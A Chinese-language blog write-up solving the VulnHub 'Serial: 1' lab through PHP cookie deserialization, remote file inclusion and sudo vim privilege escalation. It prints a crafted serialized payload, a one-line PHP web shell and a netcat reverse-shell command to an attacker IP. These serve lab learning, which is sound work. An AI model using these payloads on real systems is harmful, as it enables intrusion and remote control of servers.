前言

此漏洞环境是vulhub上的系列漏洞之一,是php反序列化漏洞,也用到了远程代码执行漏洞。

复现过程

环境搭建

靶机下载地址

https://www.vulnhub.com/entry/serial-1,349/

下载好之后直接用Vmware workstation打开就行了

存活扫描

内网存活主机扫描

arp-scan -l

扫描到的存活主机是192.168.77.157

端口扫描

扫描开放的端口

nmap -sV -p- 192.168.77.157

发现开放了80,22号端口

访问web服务


页面上显示

Hello sk4This is a beta test for new cookie handler

burp抓包:

发现cookie是base64加密过的,解密后发现是经过序列化过的:

O:4:"User":2:{s:10:" User name";s:3:"sk4";s:9:" User wel";O:7:"Welcome":0:{}}
o:代表存储的是对象(object),如果传入的是一个数组,那它会变成字母a。
4:表示对象的名称有4个字符。User表示对象名称,刚好是4个字符。
2:表示有2个值
s:表示字符串,数字表示字符串的长度,s:10:" User name";

在这里补充一下PHP序列化/反序列化的相关内容
php序列化和反序列化函数是serialize()和unserialize(),serialize()可以将变量转换为字符串并且在转换中可以保存当前变量的值;unserialize()可以将serialize()生成的字符串转化为变量。php进行序列化的目的就是保存一个对象方便以后的重用。说到反序列化就不得不说一下魔法函数,常见的魔法函数有

(1)construct():当对象创建时会自动调用(但在unserialize()时是不会自动调用的)。
(2)wakeup() :unserialize()时会自动调用
(3)destruct():当对象被销毁时会自动调用。
(4)toString():当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用
(5)get() :当从不可访问的属性读取数据
(6)call(): 在对象上下文中调用不可访问的方法时触发
(7)sleep():使用serialize时触发

魔法函数的调用是在一个类序列化或者反序列化的同时自动完成的,不需要人工干预,这就非常符合我们的想法,因此只要魔法方法中出现了一些我们能利用的函数,我们就能通过反序列化中对其对象属性的操控来实现对这些函数的操控,进而达到我们发动攻击的目的。

目录扫描

使用御剑扫描发现存在../backup/路径,访问发现存在目录遍历漏洞:

下载bak.zip,发现有三个源代码

代码审计

index.php
<?php
        include("user.class.php");</small>

        if(!isset($_COOKIE['user'])) {
                setcookie("user", base64_encode(serialize(new User('sk4'))));
        } else {
                unserialize(base64_decode($_COOKIE['user']));
        }
        echo "This is a beta test for new cookie handler\n";
?>

log.class.php
<?php
  class Log {
    private $type_log;

    function __costruct($hnd) {
      $this->$type_log = $hnd;
    }

    public function handler($val) {
      include($this->type_log);
      echo "LOG: " . $val;
    }
  }
?>

user.class.php
<?php
  include("log.class.php");

  class Welcome {
    public function handler($val) {
      echo "Hello " . $val;
    }
  }

  class User {
    private $name;
    private $wel;

    function __construct($name) {
      $this->name = $name;
      $this->wel = new Welcome();
    }

    function __destruct() {
      //echo "bye\n";
      $this->wel->handler($this->name);
    }
  }

?>

三个源代码,index.php把cookie序列化然后再base64编码一下;user.class.php定义了两个类,一个是Welcome,另一个是User,上面我们base64解码之后的就是把User序列化之后的结果,分析User这个类,发现有$this->wel = new Welcome();那就再看Welcome这个类,发现这个类里面写的是一个handler()函数,而且还包含了log.class.php,我们再去看log.class.php,

public function handler($val) {
  include($this->type_log);
  echo "LOG: " . $val;

这里存在着文件包含漏洞,我们可以加以利用输出一些我们想要的信息

Getshell

根据解码后的cookie进行构造,出现文件包含漏洞的是Log类,所以我们就加上序列化之后的Log类的内容

O:4:"User":2:{s:10:" User name";s:3:"sk4";s:9:" User wel";O:7:"Welcome":0:{}}</small>

O:4:"User":2:{s:10:" User name";s:5:"admin";s:9:" User wel";O:3:"Log":1:{s:8:"type_log";s:27:"http://xx.xx.xx.xx/shell.txt";}}
此poc用到了远程文件包含漏洞,shell.txt是我在远程服务器上放的木马,内容是
<?php
system($_GET['cmd']);
?>
>>> base64.b64encode(b'O:4:"User":2:{s:10:"\x00User\x00name";s:5:"admin";s:9:"\x00User\x00wel";O:3:"Log":1:{s:8:"type_log";s:27:"http://xx.xx.xx.xx/shell.txt";}}')
b'Tzo0OiJVc2VyIjoyOntzOjEwOiIAVXNlcgBuYW1lIjtzOjU6ImFkbWluIjtzOjk6IgBVc2VyAHdlbCI7TzozOiJMb2ciOjE6e3M6ODoidHlwZV9sb2ciO3M6Mjc6Imh0dHA6Ly8xNDAuMTQzLjEyMi4xMy9jLn'
注意此处的空格需要用\00代替,链接就是我放在服务器上的一个木马的地址,修改url的时候不要忘记把s修改一下

burp重放

反弹shell

编码前:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc xx.xx.xx.xx 4444 >/tmp/f
编码后:
rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+xx.xx.xx.xx+4444+>/tmp/f


提权

获取到shell后在根目录下发现文件credentials.txt.bak,里面是sk4用户的密码,有了密码就可以通过22端口进行远程连接了
提权方法是通过sudo -l查看当前用户可执行和无法执行的命令,发现vim对所有用户都NOPASSWORD,所就尝试sudo vim,进入到命令模式输入!bash,就可以成功提权。

参考文章

远程文件包含:https://www.jianshu.com/p/be68cf9be911
php反序列化:https://imysec.cn/2019/03/27/php-xu-lie-hua-yu-fan-xu-lie-hua/
            https://xz.aliyun.com/t/3674
            https://www.k0rz3n.com/2018/11/19/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/#1-%E6%A6%82%E5%BF%B5%E8%A7%A3%E9%87%8A%EF%BC%9A
反弹shell:https://www.cnblogs.com/r00tgrok/p/reverse_shell_cheatsheet.html
https://mp.weixin.qq.com/s?__biz=Mzg4MzA4Nzg4Ng==&mid=2247483980&idx=1&sn=7009611467280235e020d9dc2bfb79e4&chksm=cf4d8d2df83a043b5dada8d3239f521c90fc1fb25c46d53c8587673acf982251b2302c0efeb4&mpshare=1&scene=1&srcid=&sharer_sharetime=1570769686338&sharer_shareid=62f0fff7c8b6ad3fb28d5be3244bea91&key=f3b89a09cde51f0fdbad4af22908c0f665373d6e9d648b35ff04a2bce7cb6280bc37c79fc979034db3d63288319f3433cb3d27798738c4f62d7426b45bff32c5c2ec445b03996541b829e6b49b0418e7&ascene=1&uin=Mjk3MTU2ODQ5&devicetype=Windows+10&version=62070141&lang=zh_CN&pass_ticket=d4y2wiXz0x%2FRPuCGj%2FU%2FgrlvMD1dRyPHSJVBX56CpDZ%2BWKCs171mNJinVFauuuDd

   Reprint policy


《》 by xiao is licensed under a Creative Commons Attribution 4.0 International License
 Previous
内网学习之路--活动目录信息收集 内网学习之路--活动目录信息收集
前言上一节讲了活动目录的基础知识,对活动目录有了大致的了解,这一节就写了在活动目录里获取有用的信息及利用的方法 活动目录中域名信息收集及利用常用命令(不全,后期再加) Net use Net view Tasklist /v Ipconfi
2019-10-14 xiao
Next 
内网学习之路--活动目录基础知识 内网学习之路--活动目录基础知识
前言今天是10月10号,开始系统学习内网的相关内容,不断扩充知识面,提升实力,时间会证明一切。 什么是Active Directory(活动目录)?Active Directory简称AD,译名为活动目录,负责架构大型网络环境的集中式目录管
2019-10-10 xiao
  TOC